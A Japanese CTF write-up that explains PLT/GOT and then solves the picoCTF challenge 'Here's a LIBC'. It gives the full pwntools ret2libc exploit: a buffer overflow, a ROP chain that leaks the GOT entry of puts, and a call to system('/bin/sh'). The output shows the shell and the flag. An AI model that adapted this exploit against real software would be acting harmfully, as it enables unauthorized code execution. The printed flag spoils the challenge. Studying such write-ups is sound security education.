今回は PLT, GOT について知る問題を解いたのでその記録。 恥ずかしながら PLT, GOT についてあまりわかってなかったのでその説明もする。
Procedure Linkage Table (PLT), Global Offset Table (GOT)
共有ライブラリ内の関数のアドレスを解決する際に使うキャッシュのようなもの。 プログラムが実行される際、共有ライブラリがメモリにロードされるが、使用する関数のアドレスは未解決のままスタートする。 コンパイルされる際、共有ライブラリの関数は以下のように name@plt としてコンパイルされる。
0x000000000040088e <+285>: mov rdi,rax
0x0000000000400891 <+288>: call 0x400540 <puts@plt>
0x0000000000400896 <+293>: mov eax,0x0
最初にこの関数を実行した際、キャッシュ(つまり GOT エントリ) がないので、動的リンカ (ld.so) で関数のアドレスを解決し、GOT エントリに保存します。
以降はこの関数を実行した際、GOT エントリに保存されたアドレスを呼び出す。これにより、毎回共有ライブラリのアドレスを解決せずに済む。
このように関数のアドレスを GOT エントリに配置するのをリロケーションというらしい
puts@plt のアセンブリを見てみると puts@got.plt にジャンプしているのがわかる。これはその名の通り GOT エントリ。
pwndbg> disas puts
Dump of assembler code for function puts@plt:
0x0000000000400540 <+0>: jmp QWORD PTR [rip+0x200ad2] # 0x601018 <puts@got.plt>
0x0000000000400546 <+6>: push 0x0
0x000000000040054b <+11>: jmp 0x400530
ただ、初回は puts@plt に帰ってくることがわかる。
pwndbg> x/a 0x601018
0x601018 <puts@got.plt>: 0x400546 <puts@plt+6>
また、readelf コマンドで GOT と PLT セクションの内容が確認できる。(-r は relocation section の意味)
$ readelf -r vuln
Relocation section '.rela.dyn' at offset 0x458 contains 3 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000600ff0 000400000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000600ff8 000500000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ +
0
000000601050 000800000005 R_X86_64_COPY 0000000000601050 stdout@GLIBC_2.2.5 + 0
Relocation section '.rela.plt' at offset 0x4a0 contains 5 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5
+ 0
000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 setresgid@GLIBC_2.2.5 + 0
000000601028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0
000000601030 000600000007 R_X86_64_JUMP_SLO 0000000000000000 getegid@GLIBC_2.2.5 + 0
000000601038 000700000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0
plt セクションには使用する関数があるけど GOT セクションにはまだないことがわかる。
CTF においては GOT エントリに実行したいコードのアドレスを上書きすれば任意のコードを実行できる。 これを俗に GOT overwrite という。
Here’s a LIBC write up
プログラムと libc が与えられる。 手元の環境だとうまく動かなかったので pwninit で実行可能にした。
実行するとこんな感じで大文字と小文字に変換するプログラム。
> ./vuln_patched
WeLcOmE To mY EcHo sErVeR!
aaaaaaaaaaaa
AaAaAaAaAaAa
Ghidra で逆コンパイルすると do_stuff 関数で入力と変換を行っている
do_stuff 関数にブレークポイントをおいて pwndbg を実行するとバッファオーバーフロー脆弱性があり、リターンアドレスを書き換えるまでのオフセットは 136 であることがわかる。
pwndbg> b *do_stuff+150
Breakpoint 1 at 0x40076e
pwndbg> cyclic 150
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
pwndbg> r
────────────────────────────────[ BACKTRACE ]─────────────────────────────────
► 0 0x40076e do_stuff+150
1 0x6161616161616172 None
2 0x2000616161616173 None
3 0x634520596d206f54 None
4 0x6556724573206f48 None
5 0x2152 None
6 0x7fffffffdd58 None
7 0x100000000 None
──────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l raaaaaaa
Finding cyclic pattern of 8 bytes: b'raaaaaaa' (hex: 0x7261616161616161)
Found at offset 136
リターンアドレスを書き換えてsystem(“/bin/sh”)を実行することを目的とする。
ただ system のアドレスが分からない状態なので、共有ライブラリ内の任意の関数のアドレスがわかれば、libc が与えられているので相対的に system 関数のアドレスがわかる。
そこで puts 関数で puts の GOT エントリを出力し、メモリ内にある共有ライブラリの puts のアドレスを出力する。 puts の実行は ROP chain を使う。
payload は pwntools を使えば以下のように作れる。
payload = b'A'*136
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.symbols['main'])
また、出力結果を r.recvline() で取得しようとするとなぜか 0x00 しかえられなかった。 調べたところ、アドレスのバイト列の中に改行を表すバイトがあってうまく取得てきていなかった。 アドレスは 6 バイトなので 6 バイトだけ取得するように変更する。
r.sendline(payload)
r.recvline()
offset = libc.symbols['puts']
put_addr = int.from_bytes(r.recv(6) + b'\x00\x00', byteorder="little")
print("puts: ", hex(put_addr))
すると、ちゃんと puts 関数のアドレスが得られた。
[*] Loaded 14 cached gadgets for 'vuln_patched'
puts: 0x7efc2b280a30
このアドレスから与えられた libc を使って system 関数のアドレスを求める。 なお、pwntools では libc のベースアドレスを入力すれば system 関数のアドレスを簡単に出してくれる。
libc.address = put_addr - offset
print("system: ", hex(libc.symbols.system))
[+] n_patched': pid 160929
[*] Loaded 14 cached gadgets for 'vuln_patched'
puts: 0x7f5e70c80a30
system: 0x7f5e70c4f4e0
あとは “/bin/sh” を引数に system 関数を呼び出すだけ。ここでも ROP chain を使う。
payload = b'A'*136
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(libc.symbols.system)
r.sendline(payload)
r.interactive()
なお、途中の ret は RSP のアライメントのために使用されるらしい。
最終的な exploit コードは以下の通り。
#!/usr/bin/env python3
from sys import byteorder
from pwn import *
exe = ELF("vuln_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("mercury.picoctf.net", 1774)
return r
def main():
r = conn()
rop = ROP(exe)
offset = libc.symbols['puts']
r.recvuntil(b'WeLcOmE To mY EcHo sErVeR!\n')
payload = b'A'*136
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.symbols['main'])
r.sendline(payload)
r.recvline()
offset = libc.symbols['puts']
put_addr = int.from_bytes(r.recv(6) + b'\x00\x00', byteorder="little")
print("puts: ", hex(put_addr))
libc.address = put_addr - offset
print("system: ", hex(libc.symbols.system))
payload = b'A'*136
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(libc.symbols.system)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
実行すると以下のようにシェルが奪取できる。
[*] Switching to interactive mode
WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaA
aAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd$
$ ls
flag.txt
libc.so.6
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{1_<3_sm4sh_st4cking_f2ac531bbb3a68ed}$